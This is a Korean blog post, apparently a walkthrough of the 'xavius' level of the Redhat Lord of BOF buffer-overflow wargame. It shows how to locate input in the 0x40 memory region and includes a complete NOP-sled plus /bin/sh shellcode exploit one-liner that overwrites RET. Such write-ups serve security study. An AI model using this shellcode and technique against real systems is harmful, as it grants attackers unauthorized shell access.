BOF radhat 원정대 nightmare -> xavius
xavius, xavius.c
코드를 보면 대부분의 주소를 사용할 수 없게 만들어 놓았다. 우리가 지금까지 사용하던 메모리는 사용을 할 수가 없다. 하지만 0x40으로 시작하는 주소를 막아 놓지 않았다. 임의의 입력값을 넣은 후 이 부분의 메모리에서 임의의 입력값을 찾아보자.
xavius.c의 코드에 코드가 다 실행되고 메모리를 검사하는 코드를 넣었다. ret이전에 메모리에 올라간 부분을 다 스캔할 수 있다.
AAAA를 적당히 넣고 코드를 실행해보면
0x40015009에 임의의 입력값인 AAAA가 들어있음을 알 수 있다. 임의의 입력값이 전부 제대로 들어간다면 쉘코드를 넣고 RET를 조작하여 쉘을 얻게 할 수 있다.
0x40015009의 주소를 gdb로 확인해보자.
임의의 입력값이 들어가있다. xavius.c가 호출하는 어떤 함수의 버퍼라고 유추할 수 있겠다.
이제 여기에 쉘코드를 넣고 RET를 이 영역으로 덮어 씌우면 공격에 성공할 수 있다.
페이로드는
[놉+쉘코드][RET]
로 구성하여 공격을 해보면
쉘을 얻을 수 있다.
쉘코드 :
(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x09\x50\x01\x40"';cat)|./xavius
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
fedora 원정대 core 3 hell_fire -> evil_wizard evil_wizard.c hint 를 보면 GOT overwritting이 써있다. GOT overwritting 공격을 시도하여 쉘을 얻을 수 있다. ...
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
ELF ELF는 Executable and Linkable Format의 약자로 executables, object code, shared libraries, core dumps를 위한 일반적인 파일포멧이다. x86 시스템에서 Unix, Unix...
-
ARM assembly를 공부하기 위해서 bof redhat 원정대 1번 문제를 ARM환경에서 컴파일하고 단순하게 어셈블리어만 라인바이라인으로 분석해보고 x86 리눅스에서와 어떤식으로 다른지 확인 해 보았다. bof 1번 문제의 c코드 ...
-
이 자료는 우리가 KITRI (한국정보기술연구원) 침해대응 과정 중 수료 프로젝트로 진행했던 자료이다. 취약점을 분석해논 우리나라 자료가 거의 존재하지 않았기 때문에 어떻게 분석해야 하는지 매우 막막했다. 특히 3897 취약점은 인터넷 익...



0 개의 댓글:
댓글 쓰기